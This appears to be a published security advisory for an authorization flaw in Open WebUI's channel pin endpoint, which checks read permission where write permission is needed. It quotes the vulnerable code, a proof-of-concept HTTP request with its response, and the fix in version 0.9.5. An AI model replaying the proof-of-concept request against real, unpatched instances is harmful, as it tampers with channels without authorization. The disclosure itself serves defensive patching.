Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint
Summary
Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.
Details
@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
request: Request,
id: str,
message_id: str,
form_data: PinMessageForm,
user=Depends(get_verified_user),
db: Session = Depends(get_session),
):
check_channels_access(request)
channel = Channels.get_channel_by_id(id, db=db)
if not channel:
raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)
if channel.type in ['group', 'dm']:
if not Channels.is_user_channel_member(channel.id, user.id, db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:
def channel_has_access(
user_id: str,
channel: ChannelModel,
permission: str = 'read', # 'read' or 'write'
strict: bool = True,
db: Optional[Session] = None,
) -> bool:
if AccessGrants.has_access(
user_id=user_id,
resource_type='channel',
resource_id=channel.id,
permission=permission,
db=db,
):
return True
# ...
The AccessGrant table distinguishes between read and write permission levels.
PoC
admin creates Standard Channel with Read-Only Access for test1 :
POST /api/v1/channels/create
Authorization:
Content-Type: application/json
{
"name": "pin-test-standard",
"access_grants": [
{
"principal_type": "user",
"principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"permission": "read"
}
]
}
admin posts a Message in the Channel, and test1 has read permission only.
<img width="1024" height="423" alt="image" src="https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f" />
test1 attempts to Pin Message:
POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json
{
"is_pinned": true
}
{
"id": "4797359b-aad5-4081-9617-e8ca58524a87",
"user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
"is_pinned": true,
"pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
"pinned_at": 1774716314908288719,
"content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}
Successfully pinned admin's message. pinned_by records test1's user ID.
<img width="1024" height="350" alt="image" src="https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8" />
test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.
Impact
Read-only users can pin irrelevant messages, disrupting important information display in the channel .
Recommended Fix
Change the Pin endpoint's permission check from read to write .
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | open-webui | < 0.9.5 | 0.9.5 |
References
- https://github.com/open-webui/open-webui/security/advisories/GHSA-5gc6-xhv4-2wg6
- https://nvd.nist.gov/vuln/detail/CVE-2026-45386
- https://github.com/open-webui/open-webui
- https://github.com/open-webui/open-webui/releases/tag/v0.9.5
- https://pypi.org/project/open-webui
- https://github.com/advisories/GHSA-5gc6-xhv4-2wg6
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N- Weakness (CWE)
CWE-639- Platform
- Python (PyPI)
- Package
open-webui- Disclosed
- 14.05.2026
- Updated
- 11.10.2026 14:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2705 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-5gc6-xhv4-2wg6 - CC BY 4.0
Vulnerability history: open-webui
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 161
- First → latest
- 08.2024 09.2026
- Without a fix
- 11
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 77
- Medium 75
- Low 8
Disclosures per year
- 2024: 3
- 2025: 21
- 2026: 137
-
Open WebUI has an IDOR vulnerability in the pin_channel_message API endpoint this entry
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